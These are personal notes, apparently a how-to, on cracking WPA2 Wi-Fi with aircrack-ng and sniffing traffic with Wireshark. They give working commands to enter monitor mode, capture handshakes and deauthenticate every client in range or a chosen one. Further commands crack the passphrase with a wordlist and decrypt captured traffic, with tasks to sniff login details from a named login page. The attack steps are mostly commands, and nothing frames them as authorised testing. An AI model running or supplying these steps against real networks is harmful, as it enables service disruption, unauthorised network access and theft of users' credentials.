WPA2 WiFi Hacking

Brooks J Rady

2021-05-09 (22:48)

Contents

1 Links

1.1 Written Tutorials

- Aircrack-ng & CPU Cracking
- Aircrack-ng & GPU Cracking (More Modern)

- Entering Monitor Mode
- Basic Wireshark Tutorial

1.2 Theory

- WPA2 Cracking & The 4-Way Handshake
- Understanding PSK Cracking

1.3 Videos

- Snooping & Cracking With Wireshark

2 Steps

2.1 Acquiring Hardware

- You'll need a card and driver capable of entering "monitor" mode
- `https://saltwaterc.github.io/aircrack-db/`

2.2 Monitor Mode

2.2.1 Preparing The Interface

- Probe the available interfaces with: `ip link`
- `iw dev` gives a bit more information. A type of "managed" is a WiFi station / client, but other options are monitor, ad hoc, and master mode)
- Ask NetworkManager to leave the card alone: `nmcli dev set wlan0 managed no`

2.2.2 Entering Monitor Mode

- In most cases this should work: `airmon-ng start wlan0`
- Some setups might require a manual `iw wlan0 set type monitor` and `ip link set wlan0 up`.

2.2.3 Testing Injection

- `aireplay-ng --test wlan0mon`
- If injection fails, you'll likely need to find a different driver / WiFi chipset

2.2.4 Leaving Monitor Mode

- If you used `airmon-ng` then `airmon-ng stop wlan0mon` should work
- Otherwise, try `ip link set wlan0 down`, `iw wlan0 set type managed`, and `ip link set wlan0 up`
- You may need to restart NetworkManager or run: `nmcli dev set wlan0 managed yes`

2.3 Scanning For Networks

- This can be done with `airodump-ng wlan0mon` which cycles through channels and listens for traffic

2.4 Capturing The Handshake

2.4.1 Aircrack

- You can use `airodump-ng -c [CHANNEL] --bssid [BSSID] -w [output file] wlan0mon`
- Aircrack will tell you when it's captured a handshake

2.4.2 Wireshark

- Be sure that you have the permission to listen on the monitor interface
- `EAPOL` is the protocol for the 802.11 WPA handshake; you can filter for that and export the handshake packets
- If you export only the handshake, you'll need to supply the SSID to `aircrack-ng` manually

2.5 Deauthing To Force A Handshake

- To aggressively deauth **everyone** in range: `aireplay-ng -0 2 -a [BSSID] wlan0mon`
- To deauth a specific target in range: `aireplay-ng -0 2 -a [BSSID] -c [Station MAC] wlan0mon`
- The `-0` signals a deauth and the number after is the number to send (`0` is an infinite number)

2.6 Cracking

- `aircrack-ng -b [BSSID] -w [WORDLIST] *.cap`
- If your capture doesn't contain the SSID, then you can pass that with the `-e` flag (SSIDs are sometimes called ESSIDS)

2.7 Sniffing With Wireshark

- You can decrypt packets from a network without joining it by adding a decryption key (the password) in the 802.11 preferences. You'll need to capture another handshake before it starts decrypting (to generate the PTK)
- You can add filters for nearly any field in Wireshark, just right-click and add it as a filter
- Filters can be combined using binary operators like `&&` and `||`
- Sniff login details from `http://vbsca.ca/login/login.asp`
- Pull pictures off of `http://thelostlambda.xyz`
- Follow an HTTP conversation
- Reverse lookup some IPs and MAC addresses and go through stats